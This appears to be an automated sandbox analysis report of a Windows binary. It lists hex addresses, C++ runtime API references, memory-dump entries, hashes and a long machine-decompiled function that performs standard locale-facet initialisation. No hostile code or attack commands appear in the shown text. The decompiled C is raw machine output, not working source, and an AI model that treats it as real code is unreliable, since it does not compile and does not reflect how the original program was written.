0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b

APIs

__EH_prolog3.LIBCMT ref: 6DD1F614
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F61E
int.LIBCPMT ref: 6DD1F635

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F658
std::_Facet_Register.LIBCPMT ref: 6DD1F66F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F68F
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F6AD

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: 08a225800e5d6812bec80d189de0ab846b84fdc592ce0a463351983243bdeaac
Instruction ID: 74c3c9b096dd383dec66986395ddaeeb7d2890168f386c8b82cf2e8997f31918
Opcode Fuzzy Hash: 08a225800e5d6812bec80d189de0ab846b84fdc592ce0a463351983243bdeaac
Instruction Fuzzy Hash: E011A072908529CBCF05FBA4DC40AFDB774EF95724F160409F610A72A1DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F183, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F183(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t265;
				signed int _t266;
				void* _t278;
				void* _t291;
				void* _t304;
				void* _t317;
				void* _t330;
				void* _t343;
				void* _t356;
				void* _t369;
				void* _t382;
				void* _t395;
				void* _t408;
				void* _t421;
				void* _t434;
				void* _t447;
				void* _t460;
				void* _t473;
				void* _t486;
				signed int _t701;
				signed int _t759;
				signed int _t760;
				signed int _t761;
				signed int _t762;
				signed int _t763;
				signed int _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t768;
				signed int _t769;
				signed int _t770;
				signed int _t771;
				signed int _t772;
				signed int _t773;
				signed int _t774;
				signed int _t775;
				signed int _t777;
				signed int _t778;
				signed int _t779;
				signed int _t780;
				signed int _t781;
				signed int _t782;
				signed int _t783;
				signed int _t784;
				signed int _t785;
				signed int _t786;
				signed int _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				void* _t814;

				_t756 = __edx;
				_t575 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t814 - 0x14, 0);
				_t777 =  *0x6ddd6de8; // 0x0
				 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
				 *(_t814 - 0x10) = _t777;
				_t265 = E6DCF161C(0x6ddd6d94);
				_t578 =  *((intOrPtr*)(_t814 + 8));
				_t266 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t265);
				_t758 = _t266;
				if(_t266 != 0) {
					L5:
					E6DD166BA(_t814 - 0x14);
					return E6DD30075(_t758);
				} else {
					if(_t777 == 0) {
						_push( *((intOrPtr*)(_t814 + 8)));
						_push(_t814 - 0x10);
						__eflags = E6DD20EB7(__ebx, _t578, __edx, _t758, _t777) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t814 - 0x20);
							E6DD33D74(_t814 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t758, _t777, 0x14);
							E6DD16653(_t814 - 0x14, 0);
							_t778 =  *0x6ddd6db8; // 0x0
							 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
							 *(_t814 - 0x10) = _t778;
							_t278 = E6DCF161C(0x6ddd6d6c);
							_t585 =  *((intOrPtr*)(_t814 + 8));
							_t759 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t278);
							__eflags = _t759;
							if(_t759 != 0) {
								L12:
								E6DD166BA(_t814 - 0x14);
								return E6DD30075(_t759);
							} else {
								__eflags = _t778;
								if(_t778 == 0) {
									_push( *((intOrPtr*)(_t814 + 8)));
									_push(_t814 - 0x10);
									__eflags = E6DD20F1F(_t575, _t585, __edx, _t759, _t778) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t814 - 0x20);
										E6DD33D74(_t814 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t575, _t759, _t778, 0x14);
										E6DD16653(_t814 - 0x14, 0);
										_t779 =  *0x6ddd6dec; // 0x0
										 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
										 *(_t814 - 0x10) = _t779;
										_t291 = E6DCF161C(0x6ddd6d98);
										_t592 =  *((intOrPtr*)(_t814 + 8));
										_t760 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t291);
										__eflags = _t760;
										if(_t760 != 0) {
											L19:
											E6DD166BA(_t814 - 0x14);
											return E6DD30075(_t760);
										} else {
											__eflags = _t779;
											if(_t779 == 0) {
												_push( *((intOrPtr*)(_t814 + 8)));
												_push(_t814 - 0x10);
												__eflags = E6DD20F87(_t575, _t592, __edx, _t760, _t779) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t814 - 0x20);
													E6DD33D74(_t814 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t575, _t760, _t779, 0x14);
													E6DD16653(_t814 - 0x14, 0);
													_t780 =  *0x6ddd6dbc; // 0x0
													 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
													 *(_t814 - 0x10) = _t780;
													_t304 = E6DCF161C(0x6ddd6d70);
													_t599 =  *((intOrPtr*)(_t814 + 8));
													_t761 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t304);
													__eflags = _t761;
													if(_t761 != 0) {
														L26:
														E6DD166BA(_t814 - 0x14);
														return E6DD30075(_t761);
													} else {
														__eflags = _t780;
														if(_t780 == 0) {
															_push( *((intOrPtr*)(_t814 + 8)));
															_push(_t814 - 0x10);
															__eflags = E6DD20FEF(_t575, _t599, _t756, _t761, _t780) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t814 - 0x20);
																E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t575, _t761, _t780, 0x14);
																E6DD16653(_t814 - 0x14, 0);
																_t781 =  *0x6ddd6df0; // 0x0
																 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																 *(_t814 - 0x10) = _t781;
																_t317 = E6DCF161C(0x6ddd6d9c);
																_t606 =  *((intOrPtr*)(_t814 + 8));
																_t762 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t317);
																__eflags = _t762;
																if(_t762 != 0) {
																	L33:
																	E6DD166BA(_t814 - 0x14);
																	return E6DD30075(_t762);
																} else {
																	__eflags = _t781;
																	if(_t781 == 0) {
																		_push( *((intOrPtr*)(_t814 + 8)));
																		_push(_t814 - 0x10);
																		__eflags = E6DD21057(_t575, _t606, _t756, _t762, _t781) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t814 - 0x20);
																			E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t575, _t762, _t781, 0x14);
																			E6DD16653(_t814 - 0x14, 0);
																			_t782 =  *0x6ddd6dc0; // 0x0
																			 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																			 *(_t814 - 0x10) = _t782;
																			_t330 = E6DCF161C(0x6ddd6d74);
																			_t613 =  *((intOrPtr*)(_t814 + 8));
																			_t763 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t330);
																			__eflags = _t763;
																			if(_t763 != 0) {
																				L40:
																				E6DD166BA(_t814 - 0x14);
																				return E6DD30075(_t763);
																			} else {
																				__eflags = _t782;
																				if(_t782 == 0) {
																					_push( *((intOrPtr*)(_t814 + 8)));
																					_push(_t814 - 0x10);
																					__eflags = E6DD210BF(_t575, _t613, _t756, _t763, _t782) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t814 - 0x20);
																						E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t575, _t763, _t782, 0x14);
																						E6DD16653(_t814 - 0x14, 0);
																						_t783 =  *0x6ddd6df8; // 0x0
																						 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																						 *(_t814 - 0x10) = _t783;
																						_t343 = E6DCF161C(0x6ddd6da4);
																						_t620 =  *((intOrPtr*)(_t814 + 8));
																						_t764 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t343);
																						__eflags = _t764;
																						if(_t764 != 0) {
																							L47:
																							E6DD166BA(_t814 - 0x14);
																							return E6DD30075(_t764);
																						} else {
																							__eflags = _t783;
																							if(_t783 == 0) {
																								_push( *((intOrPtr*)(_t814 + 8)));
																								_push(_t814 - 0x10);
																								__eflags = E6DD21127(_t575, _t620, _t756, _t764, _t783) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t814 - 0x20);
																									E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t575, _t764, _t783, 0x14);
																									E6DD16653(_t814 - 0x14, 0);
																									_t784 =  *0x6ddd6df4; // 0x0
																									 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																									 *(_t814 - 0x10) = _t784;
																									_t356 = E6DCF161C(0x6ddd6da0);
																									_t627 =  *((intOrPtr*)(_t814 + 8));
																									_t765 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t356);
																									__eflags = _t765;
																									if(_t765 != 0) {
																										L54:
																										E6DD166BA(_t814 - 0x14);
																										return E6DD30075(_t765);
																									} else {
																										__eflags = _t784;
																										if(_t784 == 0) {
																											_push( *((intOrPtr*)(_t814 + 8)));
																											_push(_t814 - 0x10);
																											__eflags = E6DD211AB(_t575, _t627, _t756, _t765, _t784) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t814 - 0x20);
																												E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t575, _t765, _t784, 0x14);
																												E6DD16653(_t814 - 0x14, 0);
																												_t785 =  *0x6ddd6dc8; // 0x0
																												 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																												 *(_t814 - 0x10) = _t785;
																												_t369 = E6DCF161C(0x6ddd6d7c);
																												_t634 =  *((intOrPtr*)(_t814 + 8));
																												_t766 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t369);
																												__eflags = _t766;
																												if(_t766 != 0) {
																													L61:
																													E6DD166BA(_t814 - 0x14);
																													return E6DD30075(_t766);
																												} else {
																													__eflags = _t785;
																													if(_t785 == 0) {
																														_push( *((intOrPtr*)(_t814 + 8)));
																														_push(_t814 - 0x10);
																														__eflags = E6DD21230(_t575, _t634, _t756, _t766, _t785) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t814 - 0x20);
																															E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t575, _t766, _t785, 0x14);
																															E6DD16653(_t814 - 0x14, 0);
																															_t786 =  *0x6ddd6dc4; // 0x0
																															 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																															 *(_t814 - 0x10) = _t786;
																															_t382 = E6DCF161C(0x6ddd6d78);
																															_t641 =  *((intOrPtr*)(_t814 + 8));
																															_t767 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t382);
																															__eflags = _t767;
																															if(_t767 != 0) {
																																L68:
																																E6DD166BA(_t814 - 0x14);
																																return E6DD30075(_t767);
																															} else {
																																__eflags = _t786;
																																if(_t786 == 0) {
																																	_push( *((intOrPtr*)(_t814 + 8)));
																																	_push(_t814 - 0x10);
																																	__eflags = E6DD212B4(_t575, _t641, _t756, _t767, _t786) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t814 - 0x20);
																																		E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t575, _t767, _t786, 0x14);
																																		E6DD16653(_t814 - 0x14, 0);
																																		_t787 =  *0x6ddd6dd8; // 0x0
																																		 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																		 *(_t814 - 0x10) = _t787;
																																		_t395 = E6DCF161C(0x6ddd6d84);
																																		_t648 =  *((intOrPtr*)(_t814 + 8));
																																		_t768 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t395);
																																		__eflags = _t768;
																																		if(_t768 != 0) {
																																			L75:
																																			E6DD166BA(_t814 - 0x14);
																																			return E6DD30075(_t768);
																																		} else {
																																			__eflags = _t787;
																																			if(_t787 == 0) {
																																				_push( *((intOrPtr*)(_t814 + 8)));
																																				_push(_t814 - 0x10);
																																				__eflags = E6DD21339(_t575, _t648, _t756, _t768, _t787) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t814 - 0x20);
																																					E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t575, _t768, _t787, 0x14);
																																					E6DD16653(_t814 - 0x14, 0);
																																					_t788 =  *0x6ddd6db0; // 0x0
																																					 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																					 *(_t814 - 0x10) = _t788;
																																					_t408 = E6DCF161C(0x6ddd6d64);
																																					_t655 =  *((intOrPtr*)(_t814 + 8));
																																					_t769 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t408);
																																					__eflags = _t769;
																																					if(_t769 != 0) {
																																						L82:
																																						E6DD166BA(_t814 - 0x14);
																																						return E6DD30075(_t769);
																																					} else {
																																						__eflags = _t788;
																																						if(_t788 == 0) {
																																							_push( *((intOrPtr*)(_t814 + 8)));
																																							_push(_t814 - 0x10);
																																							__eflags = E6DD213A1(_t575, _t655, _t756, _t769, _t788) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t814 - 0x20);
																																								E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t575, _t769, _t788, 0x14);
																																								E6DD16653(_t814 - 0x14, 0);
																																								_t789 =  *0x6ddd6ddc; // 0x0
																																								 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																								 *(_t814 - 0x10) = _t789;
																																								_t421 = E6DCF161C(0x6ddd6d88);
																																								_t662 =  *((intOrPtr*)(_t814 + 8));
																																								_t770 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t421);
																																								__eflags = _t770;
																																								if(_t770 != 0) {
																																									L89:
																																									E6DD166BA(_t814 - 0x14);
																																									return E6DD30075(_t770);
																																								} else {
																																									__eflags = _t789;
																																									if(_t789 == 0) {
																																										_push( *((intOrPtr*)(_t814 + 8)));
																																										_push(_t814 - 0x10);
																																										__eflags = E6DD21409(_t575, _t662, _t756, _t770, _t789) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t814 - 0x20);
																																											E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t575, _t770, _t789, 0x14);
																																											E6DD16653(_t814 - 0x14, 0);
																																											_t790 =  *0x6ddd6de0; // 0x0
																																											 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																											 *(_t814 - 0x10) = _t790;
																																											_t434 = E6DCF161C(0x6ddd6d8c);
																																											_t669 =  *((intOrPtr*)(_t814 + 8));
																																											_t771 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t434);
																																											__eflags = _t771;
																																											if(_t771 != 0) {
																																												L96:
																																												E6DD166BA(_t814 - 0x14);
																																												return E6DD30075(_t771);
																																											} else {
																																												__eflags = _t790;
																																												if(_t790 == 0) {
																																													_push( *((intOrPtr*)(_t814 + 8)));
																																													_push(_t814 - 0x10);
																																													__eflags = E6DD21471(_t575, _t669, _t756, _t771, _t790) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t814 - 0x20);
																																														E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t575, _t771, _t790, 0x14);
																																														E6DD16653(_t814 - 0x14, 0);
																																														_t791 =  *0x6ddd6dfc; // 0x0
																																														 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																														 *(_t814 - 0x10) = _t791;
																																														_t447 = E6DCF161C(0x6ddd6da8);
																																														_t676 =  *((intOrPtr*)(_t814 + 8));
																																														_t772 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t447);
																																														__eflags = _t772;
																																														if(_t772 != 0) {
																																															L103:
																																															E6DD166BA(_t814 - 0x14);
																																															return E6DD30075(_t772);
																																														} else {
																																															__eflags = _t791;
																																															if(_t791 == 0) {
																																																_push( *((intOrPtr*)(_t814 + 8)));
																																																_push(_t814 - 0x10);
																																																__eflags = E6DD214EC(_t575, _t676, _t756, _t772, _t791) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t814 - 0x20);
																																																	E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t575, _t772, _t791, 0x14);
																																																	E6DD16653(_t814 - 0x14, 0);
																																																	_t792 =  *0x6ddd6dcc; // 0x0
																																																	 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																																	 *(_t814 - 0x10) = _t792;
																																																	_t460 = E6DCF161C(0x6ddd6d80);
																																																	_t683 =  *((intOrPtr*)(_t814 + 8));
																																																	_t773 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t460);
																																																	__eflags = _t773;
																																																	if(_t773 != 0) {
																																																		L110:
																																																		E6DD166BA(_t814 - 0x14);
																																																		return E6DD30075(_t773);
																																																	} else {
																																																		__eflags = _t792;
																																																		if(_t792 == 0) {
																																																			_push( *((intOrPtr*)(_t814 + 8)));
																																																			_push(_t814 - 0x10);
																																																			__eflags = E6DD21558(_t575, _t683, _t756, _t773, _t792) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t814 - 0x20);
																																																				E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t575, _t773, _t792, 0x14);
																																																				E6DD16653(_t814 - 0x14, 0);
																																																				_t793 =  *0x6ddd6e00; // 0x0
																																																				 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																																				 *(_t814 - 0x10) = _t793;
																																																				_t473 = E6DCF161C(0x6ddd6dac);
																																																				_t690 =  *((intOrPtr*)(_t814 + 8));
																																																				_t774 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t473);
																																																				__eflags = _t774;
																																																				if(_t774 != 0) {
																																																					L117:
																																																					E6DD166BA(_t814 - 0x14);
																																																					return E6DD30075(_t774);
																																																				} else {
																																																					__eflags = _t793;
																																																					if(_t793 == 0) {
																																																						_push( *((intOrPtr*)(_t814 + 8)));
																																																						_push(_t814 - 0x10);
																																																						__eflags = E6DD215C4(_t575, _t690, _t756, _t774, _t793) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E6DCF1438(_t814 - 0x20);
																																																							E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd783cf, _t575, _t774, _t793, 0x14);
																																																							E6DD16653(_t814 - 0x14, 0);
																																																							_t794 =  *0x6ddd6dd0; // 0x0
																																																							 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																																							 *(_t814 - 0x10) = _t794;
																																																							_t486 = E6DCF161C(0x6ddd6d60);
																																																							_t697 =  *((intOrPtr*)(_t814 + 8));
																																																							_t775 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t486);
																																																							__eflags = _t775;
																																																							if(_t775 != 0) {
																																																								L124:
																																																								E6DD166BA(_t814 - 0x14);
																																																								return E6DD30075(_t775);
																																																							} else {
																																																								__eflags = _t794;
																																																								if(_t794 == 0) {
																																																									_push( *((intOrPtr*)(_t814 + 8)));
																																																									_push(_t814 - 0x10);
																																																									__eflags = E6DD2162A(_t575, _t697, _t756, _t775, _t794) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										_t701 = _t814 - 0x20;
																																																										E6DCF1438(_t701);
																																																										E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																										asm("int3");
																																																										E6DD300AC(0x6dd7851f, _t575, _t775, _t794, 4);
																																																										_t795 = _t701;
																																																										 *(_t814 - 0x10) = _t795;
																																																										 *((intOrPtr*)(_t795 + 4)) =  *((intOrPtr*)(_t814 + 0xc));
																																																										_push( *((intOrPtr*)(_t814 + 0x14)));
																																																										_t259 = _t814 - 4;
																																																										 *_t259 =  *(_t814 - 4) & 0x00000000;
																																																										__eflags =  *_t259;
																																																										 *_t795 = 0x6dd7c0c4;
																																																										 *((char*)(_t795 + 0x28)) =  *((intOrPtr*)(_t814 + 0x10));
																																																										E6DD2542F(_t575, _t701, _t756, _t775, _t795,  *_t259);
																																																										return E6DD30075(_t795,  *((intOrPtr*)(_t814 + 8)));
																																																									} else {
																																																										_t775 =  *(_t814 - 0x10);
																																																										 *(_t814 - 0x10) = _t775;
																																																										 *(_t814 - 4) = 1;
																																																										E6DD16FD3(__eflags, _t775);
																																																										 *0x6dd7a26c();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t775 + 4))))();
																																																										 *0x6ddd6dd0 = _t775;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t775 = _t794;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t774 =  *(_t814 - 0x10);
																																																							 *(_t814 - 0x10) = _t774;
																																																							 *(_t814 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t774);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t774 + 4))))();
																																																							 *0x6ddd6e00 = _t774;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t774 = _t793;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t773 =  *(_t814 - 0x10);
																																																				 *(_t814 - 0x10) = _t773;
																																																				 *(_t814 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t773);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t773 + 4))))();
																																																				 *0x6ddd6dcc = _t773;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t773 = _t792;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t772 =  *(_t814 - 0x10);
																																																	 *(_t814 - 0x10) = _t772;
																																																	 *(_t814 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t772);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t772 + 4))))();
																																																	 *0x6ddd6dfc = _t772;
																																																	goto L103;
																																																}
																																															} else {
																																																_t772 = _t791;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t771 =  *(_t814 - 0x10);
																																														 *(_t814 - 0x10) = _t771;
																																														 *(_t814 - 4) = 1;
																																														E6DD16FD3(__eflags, _t771);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t771 + 4))))();
																																														 *0x6ddd6de0 = _t771;
																																														goto L96;
																																													}
																																												} else {
																																													_t771 = _t790;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t770 =  *(_t814 - 0x10);
																																											 *(_t814 - 0x10) = _t770;
																																											 *(_t814 - 4) = 1;
																																											E6DD16FD3(__eflags, _t770);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t770 + 4))))();
																																											 *0x6ddd6ddc = _t770;
																																											goto L89;
																																										}
																																									} else {
																																										_t770 = _t789;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t769 =  *(_t814 - 0x10);
																																								 *(_t814 - 0x10) = _t769;
																																								 *(_t814 - 4) = 1;
																																								E6DD16FD3(__eflags, _t769);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t769 + 4))))();
																																								 *0x6ddd6db0 = _t769;
																																								goto L82;
																																							}
																																						} else {
																																							_t769 = _t788;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t768 =  *(_t814 - 0x10);
																																					 *(_t814 - 0x10) = _t768;
																																					 *(_t814 - 4) = 1;
																																					E6DD16FD3(__eflags, _t768);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t768 + 4))))();
																																					 *0x6ddd6dd8 = _t768;
																																					goto L75;
																																				}
																																			} else {
																																				_t768 = _t787;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t767 =  *(_t814 - 0x10);
																																		 *(_t814 - 0x10) = _t767;
																																		 *(_t814 - 4) = 1;
																																		E6DD16FD3(__eflags, _t767);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t767 + 4))))();
																																		 *0x6ddd6dc4 = _t767;
																																		goto L68;
																																	}
																																} else {
																																	_t767 = _t786;
																																	goto L68;
																																}
																															}
																														} else {
																															_t766 =  *(_t814 - 0x10);
																															 *(_t814 - 0x10) = _t766;
																															 *(_t814 - 4) = 1;
																															E6DD16FD3(__eflags, _t766);
																															 *0x6dd7a26c();
